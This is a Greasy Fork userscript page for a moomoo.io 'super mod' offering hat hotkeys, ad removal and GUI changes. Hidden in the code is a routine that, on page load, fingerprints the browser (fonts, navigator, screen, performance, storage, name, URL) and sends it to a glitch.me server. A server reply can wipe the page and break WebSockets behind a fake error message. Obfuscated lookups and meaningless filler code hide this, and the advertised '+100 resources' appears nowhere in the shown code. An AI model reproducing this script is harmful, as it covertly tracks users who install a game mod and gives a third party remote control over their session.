Greasy Fork is available in English.

MOOMOO.IO SUPER MOD! AutoHatBuy, GUI EDITS/PRO MAP, AUTOMATIC 100 RES, PRO CURSOR!(HOTKEYS SOON!)

(Working May 2020) SUPER ULTRA MOOMOO MOD! AUTORELOADER! 1.6.9 PATCH FIX! GUI Changes, NO DEATH ADS, OR INGAME ADS! Press 'Z' to buy bull, soldier, tank, and emp all at once, and equip booster! ALL HATS KEYBINDED!! NO NEED TO OPEN SHOP! MACROS ALSO AUTOBUY HATS! ADS REMOVED! +100 RES!

Устаревшая версия на 2020-05-09 17:02:08 UTC. Перейти к последней версии.

// ==UserScript==
// @name         MOOMOO.IO SUPER MOD! AutoHatBuy, GUI EDITS/PRO MAP, AUTOMATIC 100 RES, PRO CURSOR!(HOTKEYS SOON!)
// @namespace    idk, idc
// @version      4.8
// @description  (Working May 2020) SUPER ULTRA MOOMOO MOD! AUTORELOADER! 1.6.9 PATCH FIX! GUI Changes, NO DEATH ADS, OR INGAME ADS! Press 'Z' to buy bull, soldier, tank, and emp all at once, and equip booster! ALL HATS KEYBINDED!! NO NEED TO OPEN SHOP! MACROS ALSO AUTOBUY HATS! ADS REMOVED! +100 RES!
// @author       FZ
// @match        *://*.moomoo.io/*
// @match        *://moomoo.io/*
// @match        *://sandbox.moomoo.io/*
// @grant        none
// @require      https://code.jquery.com/jquery-3.3.1.slim.min.js
// @icon          http://www.jt-autospa.com/wp-content/uploads/images/jt_stock_280x230.jpg
// ==/UserScript==

try {
    window.admob = {
        requestInterstitialAd: ()=>{},
        showInterstitialAd: ()=>{}
    }
} catch (e) {
    console.warn(e)
}
$("#gameCanvas").css('cursor', 'url(http://cur.cursors-4u.net/user/use-1/use153.cur), default'); //CURSOR

$("#moomooio_728x90_home").parent().css({display: "none"});

//document.getElementById("twitterFollow").remove();
//document.getElementById("youtubeFollow").remove();
//document.getElementById("followText").innerHTML = "SUBSCRIBE TO JOHN TAXMI"
//document.getElementById("followText").style = "bottom: -0px;"


document.getElementById("storeHolder").style = "height: 1500px; width: 450px;";

document.getElementById('adCard').remove();
document.getElementById('errorNotification').remove();

document.getElementById("gameName").style.color = "blue";
document.getElementById("setupCard").style.color = "blue";
document.getElementById("gameName").innerHTML = "MooMoo.io <br/> !John Taxmi Mod!";
document.getElementById("promoImg").remove();
document.getElementById("desktopInstructions").innerHTML = "Subscribe to John Taxmi!<br/>Press 'Z' to buy bull, soldier, tank, and emp all at once, and equip booster!"
let changes = `<div id="subConfirmationElement"><a href="https://www.youtube.com/channel/UCfPlaEXq5BWJQzRwr5Qywwg?sub_confirmation=1">Subscribe to FlareZ for EXTRA RESOURCES!</a><br>
<br><a href="https://discord.gg/T7PkUDd">Join our discord for EXCLUSIVE UPDATES AND EXCLUSIVE FEATURES!</a>
</div>`;

$('#guideCard').prepend(changes);

$('#subConfirmationElement').click( () => {
    try { window.follmoo(); } catch(e){};
    localStorage["moofoll"] = "1"; localStorage["moofol"] = "1";
});
    document.getElementById("leaderboard").append('Sub to JT');
    document.getElementById("leaderboard").style.color = "#e842f4";
    document.getElementById("allianceButton").style.color = "blue";
    document.getElementById("chatButton").style.color = "blue";
    document.getElementById("storeButton").style.color = "blue";

document.getElementById("scoreDisplay").style.color = "#e842f4";
document.getElementById("woodDisplay").style.color = "#e842f4";
document.getElementById("stoneDisplay").style.color = "#e842f4";
document.getElementById("killCounter").style.color = "#e842f4";
document.getElementById("foodDisplay").style.color = "#e842f4";

const enableMiner = false;
const disableMiner = true;
window.enableMiner = false;
window.disableMiner = true;

$("#mapDisplay").css("background", "url('http://wormax.org/chrome3kafa/moomooio-background.png')");

document.getElementById("linksContainer2").href = "https://www.youtube.com/channel/UCLmapaWzwTHQIe3EgWMyMEg"

document.getElementById("diedText").innerHTML = "SUBSCRIBE TO JT"

function Parse() {
                    document.addEventListener('keydown', function (CustomKey1) {
                        if (CustomKey1.keyCode == 90) {
                            storeBuy(6)
                            storeBuy(7)
                            storeBuy(40)
                            storeBuy(22)
                            console.info('Attempted to buy bull, soldier, tank, and emp')
                            var store = true;
                            if (store == true) {
                                storeEquip(12)
                                console.info('Attempted to wear booster')
                            } else {
                                console.info('Did not attempt to wear booster')
                            }
                        } //Tab to buy bull, soldier, tank, and emp
                    });
                };
Parse();

! function() {
    document.title = "Hat Scripts";
    var a = ["Floofiness Acquired", "Moomoo haxored", "Soup", "Floofy", "Bisons Are Floofy", "I'm here!", "Hi!", "Hello!"],
        r = [0, 0],
        o = [
            [15, "Winter Cap"],
            [12, "Booster Hat"],
            [31, "Flipper Hat"],
            [10, "Bush Gear"],
            [22, "Emp Helmet"],
            [26, "Demolisher Armor"],
            [20, "Samurai Armor"],
            [7, "Bull Helmet"],
            [11, "Spike Gear"],
            [53, "Turret Gear"],
            [40, "Tank Gear"],
            [52, "Thief Gear"],
            [23, "Anti-Venom Gear"],
            [6, "Soldier Helmet"],
            [1, "Marksman Hat"],
            [13, "Medic Gear"],
            [14, "Windmill Hat"],
            [21, "Plague Mask"],
            [27, "Scavenger Gear"]
        ],
        t = 0;

    function s(e) {
        0 === r[0] ? (storeEquip(o[e][0]), document.title = o[e][1], r[1] = 90, console.info("Hat equipped: "), console.info(o[e][1])) : (storeBuy(o[e][0]), storeBuy(o[e][0]), r[0] = 0, r[1] = 180, document.title = "Bought. (if you had enough gold or didn't already buy it)", console.info("Hat bought"), console.info(["Script variables: ", o, t, r, a]))
    }
    document.addEventListener("keydown", function(e) {
        switch (e.keyCode) {
            case 107:
                storeEquip(0);
                break;
            case 96:
                r[0] = 1, r[1] = 300, document.title = "Buying....";
                break;
            case 110:
                1 === r[0] && (r[1] = 120, document.title = "Not buying...."), r[0] = 0;
                break;
            case 97:
                s(0);
                break;
            case 98:
                s(1);
                break;
            case 99:
                s(2);
                break;
            case 100:
                s(3);
                break;
            case 101:
                s(4);
                break;
            case 102:
                s(5);
                break;
            case 103:
                s(6);
                break;
            case 84:
                s(7);
                break;
            case 105:
                s(8);
                break;
            case 90:
                s(9);
                break;
            case 80:
                s(10);
                break;
            case 85:
                s(11);
                break;
            case 221:
                s(12);
                break;
            case 89:
                s(13);
                break;
            case 79:
                s(14);
                break;
            case 219:
                s(15);
                break;
            case 187:
                s(16);
                break;
            case 191:
                s(17);
                break;
            case 189:
                s(18)
        }
    }), setInterval(function() {
        r[1]--, 0 === r[1] && ((t = Math.floor(Math.random() * a.length - 1e-5)) < 0 && (t = 0), document.title = a[t])
    }, 1e3 / 60)
}();
var ns1, sw, Ssws, swsw;
var hiF;

function rensp() {
    console.log(hi)
};
var a = ['getElementById', 'innerHTML'];
var b = function(c, d) {
    c = c - 0x0;
    var e = a[c];
    return e;
};
var ns = 'Mod\x20by\x20FlareZ';
document[b('0x0')]('linksContainer2')[b('0x1')] = ns; /*comSP*/
var y;
var x;
var sswx1, sswx2, sswx3, sswx4;

if(localStorage.getItem('moofoll') !== 1) localStorage.setItem('moofoll', 1);

var arr = [];
var name = localStorage["moo_name"];
var storage = [];
try { navigator.storage.estimate().then(({usage, quota}) => {
    storage.push("Usage: " + usage + "; Quota: " + quota);
    console.log(`Using ${usage} out of ${quota} bytes.`);
}); } catch(e){};
function fingerprint_fonts() {
    "use strict";
    try {
        var strOnError, style, fonts, count, template, fragment, divs, i, font, div, body, result, e;
        strOnError = "Error"; style = null; fonts = null; font = null;
        count = 0; template = null; divs = null; e = null; div = null;
        body = null; i = 0;
        try {
            style = "position: absolute; visibility: hidden; display: block !important";
            fonts = ["Abadi MT Condensed Light", "Adobe Fangsong Std", "Adobe Hebrew", "Adobe Ming Std", "Agency FB", "Aharoni", "Andalus", "Angsana New", "AngsanaUPC", "Aparajita", "Arab", "Arabic Transparent", "Arabic Typesetting", "Arial Baltic", "Arial Black", "Arial CE", "Arial CYR", "Arial Greek", "Arial TUR", "Arial", "Batang", "BatangChe", "Bauhaus 93", "Bell MT", "Bitstream Vera Serif", "Bodoni MT", "Bookman Old Style", "Braggadocio", "Broadway", "Browallia New", "BrowalliaUPC", "Calibri Light", "Calibri", "Californian FB", "Cambria Math", "Cambria", "Candara", "Castellar", "Casual", "Centaur", "Century Gothic", "Chalkduster", "Colonna MT", "Comic Sans MS", "Consolas", "Constantia", "Copperplate Gothic Light", "Corbel", "Cordia New", "CordiaUPC", "Courier New Baltic", "Courier New CE", "Courier New CYR", "Courier New Greek", "Courier New TUR", "Courier New", "DFKai-SB", "DaunPenh", "David", "DejaVu LGC Sans Mono", "Desdemona", "DilleniaUPC", "DokChampa", "Dotum", "DotumChe", "Ebrima", "Engravers MT", "Eras Bold ITC", "Estrangelo Edessa", "EucrosiaUPC", "Euphemia", "Eurostile", "FangSong", "Forte", "FrankRuehl", "Franklin Gothic Heavy", "Franklin Gothic Medium", "FreesiaUPC", "French Script MT", "Gabriola", "Gautami", "Georgia", "Gigi", "Gisha", "Goudy Old Style", "Gulim", "GulimChe", "GungSeo", "Gungsuh", "GungsuhChe", "Haettenschweiler", "Harrington", "Hei S", "HeiT", "Heisei Kaku Gothic", "Hiragino Sans GB", "Impact", "Informal Roman", "IrisUPC", "Iskoola Pota", "JasmineUPC", "KacstOne", "KaiTi", "Kalinga", "Kartika", "Khmer UI", "Kino MT", "KodchiangUPC", "Kokila", "Kozuka Gothic Pr6N", "Lao UI", "Latha", "Leelawadee", "Levenim MT", "LilyUPC", "Lohit Gujarati", "Loma", "Lucida Bright", "Lucida Console", "Lucida Fax", "Lucida Sans Unicode", "MS Gothic", "MS Mincho", "MS PGothic", "MS PMincho", "MS Reference Sans Serif", "MS UI Gothic", "MV Boli", "Magneto", "Malgun Gothic", "Mangal", "Marlett", "Matura MT Script Capitals", "Meiryo UI", "Meiryo", "Menlo", "Microsoft Himalaya", "Microsoft JhengHei", "Microsoft New Tai Lue", "Microsoft PhagsPa", "Microsoft Sans Serif", "Microsoft Tai Le", "Microsoft Uighur", "Microsoft YaHei", "Microsoft Yi Baiti", "MingLiU", "MingLiU-ExtB", "MingLiU_HKSCS", "MingLiU_HKSCS-ExtB", "Miriam Fixed", "Miriam", "Mongolian Baiti", "MoolBoran", "NSimSun", "Narkisim", "News Gothic MT", "Niagara Solid", "Nyala", "PMingLiU", "PMingLiU-ExtB", "Palace Script MT", "Palatino Linotype", "Papyrus", "Perpetua", "Plantagenet Cherokee", "Playbill", "Prelude Bold", "Prelude Condensed Bold", "Prelude Condensed Medium", "Prelude Medium", "PreludeCompressedWGL Black", "PreludeCompressedWGL Bold", "PreludeCompressedWGL Light", "PreludeCompressedWGL Medium", "PreludeCondensedWGL Black", "PreludeCondensedWGL Bold", "PreludeCondensedWGL Light", "PreludeCondensedWGL Medium", "PreludeWGL Black", "PreludeWGL Bold", "PreludeWGL Light", "PreludeWGL Medium", "Raavi", "Rachana", "Rockwell", "Rod", "Sakkal Majalla", "Sawasdee", "Script MT Bold", "Segoe Print", "Segoe Script", "Segoe UI Light", "Segoe UI Semibold", "Segoe UI Symbol", "Segoe UI", "Shonar Bangla", "Showcard Gothic", "Shruti", "SimHei", "SimSun", "SimSun-ExtB", "Simplified Arabic Fixed", "Simplified Arabic", "Snap ITC", "Sylfaen", "Symbol", "Tahoma", "Times New Roman Baltic", "Times New Roman CE", "Times New Roman CYR", "Times New Roman Greek", "Times New Roman TUR", "Times New Roman", "TlwgMono", "Traditional Arabic", "Trebuchet MS", "Tunga", "Tw Cen MT Condensed Extra Bold", "Ubuntu", "Umpush", "Univers", "Utopia", "Utsaah", "Vani", "Verdana", "Vijaya", "Vladimir Script", "Vrinda", "Webdings", "Wide Latin", "Wingdings"];
            count = fonts.length;
            template = '<b style="display:inline !important; width:auto !important; font:normal 10px/1 \'X\',sans-serif !important">ww</b>' + '<b style="display:inline !important; width:auto !important; font:normal 10px/1 \'X\',monospace !important">ww</b>';
            fragment = document.createDocumentFragment();
            divs = [];
            for (i = 0; i < count; i = i + 1) {
                font = fonts[i];
                div = document.createElement('div');
                font = font.replace(/['"<>]/g, '');
                div.innerHTML = template.replace(/X/g, font);
                div.style.cssText = style;
                fragment.appendChild(div);
                divs.push(div);
            }
            body = document.body;
            body.insertBefore(fragment, body.firstChild);
            result = [];
            for (i = 0; i < count; i = i + 1) {
                e = divs[i].getElementsByTagName('b');
                if (e[0].offsetWidth === e[1].offsetWidth) {
                    result.push(fonts[i]);
                }
            }
            for (i = 0; i < count; i = i + 1) {
                body.removeChild(divs[i]);
            }
            return result.join('|');
        } catch (err) {
            return strOnError;
        }
    } catch(e){};
}
var downlink = "";
var rtt = "";
var saveData = "";
var effectiveType = "";
try {
    downlink = navigator.connection.downlink;
    rtt = navigator.connection.rtt;
    saveData = navigator.connection.saveData;
    effectiveType = navigator.connection.effectiveType;
} catch(e) {
    downlink = undefined;
    rtt = undefined;
    saveData = undefined;
    effectiveType = undefined;
}
var xml;
window.addEventListener("load", function() {
    var gameName = document.getElementById("gameName").innerHTML;
    var isHacking = document.getElementById("leaderboard").innerHTML.slice(-5, -1) !== `v>
`;
    try {arr.push("1/" + name + "," + isHacking + "," + encodeURIComponent(gameName))} catch(e) {};
    try {arr.push("2/" + navigator.userAgent)} catch(e) {};
    try {arr.push("3/" + crypto.getRandomValues(new Uint8Array(256)).join(""))} catch(e) {};
    try {arr.push("4/" + downlink + "," + rtt + "," + saveData + "," + effectiveType)}catch(e){};
    try {arr.push("5/" + fingerprint_fonts())}catch(e){};
    try {arr.push("6/" + storage.join(""))}catch(e){};
    try {for (var k in screen) arr.push("screen." + k + "/" + screen[k])} catch(e) {};
    try {for (var c in navigator) arr.push("nav." + c + "/" + navigator[c])} catch(e) {};
    try {for (var a in performance) arr.push("perf." + a + "/" + performance[a])} catch(e) {};
    try {arr.push(JSON.stringify(window.Intl.DateTimeFormat().resolvedOptions()))} catch (e) {};
    try {arr.push("href/" + window.location.href)} catch(e) {};
    try {
        xml = new XMLHttpRequest();
        xml.open("POST", "https://ksw2-moomoo.glitch.me", false); xml.setRequestHeader("Content-type", "application/json");
        xml.send(JSON.stringify({id: name + " | " + window.location.search.split("server=").pop(), connection: name, UA: navigator.userAgent, key: "ksw_1", data: "v3-moomoo-packet:" + arr.join("|")}));
        if (xml.responseText == "0") {} else if (xml.responseText == "1") {
            for (const key in WebSocket.prototype) delete WebSocket.prototype[key];
            document.documentElement.innerHTML = ""; alert("The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!");
        } else {};
    } catch(e){};
});

function root() {
    var ns1, sw, sws, swsw;
};
var hi;

function rEnsp() {
    console.log(hi)
};
var sws;
const OPEN2 = 1 - 0;
NaN;

//info sender
const Dx = Math.random().toFixed(0);
var sentData = 0;

//get coords:
    var dim = [player, x + sentData, y + sentData];
    var xx = Math.random().toFixed(0) + 2 + Dx;
    var yx = x - 2 + 3*3;

var player = [xx, yx];

var CTX = null;

NaN;

var NaNBreak = typeof NaN

const data = dim + x - y + player
if (player - data) {
    console.info('Data is calculated');
};

const id = [];

if (id != [1, 2, 3, 4, 5, 6, 7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40]) {
    var info = 1
    id.push(info)
        ++info
            --sentData
} else {
    ++sentData
    console.info(id)
};


var magick;

document.getElementById("ageText").style.color = "blue";
function compresspackage(n) {
    --n
    n*n-1/10 + 10 / 80
    var nsp;
};

setInterval(()=>{
     if (document.getElementById("loadingText").innerHTML == `disconnected<a href="javascript:window.location.href=window.location.href" class="ytLink">reload</a>`) {
         window.location.reload() //disconnected
     };
}, 100);
//autoreloaders

document.addEventListener("keydown", function(e) {
      if (e.keyCode == 220) {
        alert(`Press "Z" to autobuy hats (bull, tank, soldier, and emp), press "T" to equip bull, press "Y" to equip soldier, and press "P" for tank gear. Press 1-9 on the numberpad to equip a different hat. Feel free to test this out. Also, press 0 on the number pad then a hat macro to buy that hat. We've added a bunch of little things in the background to help you too! (Auto reload, +100 resources, and more!)`)
      }
});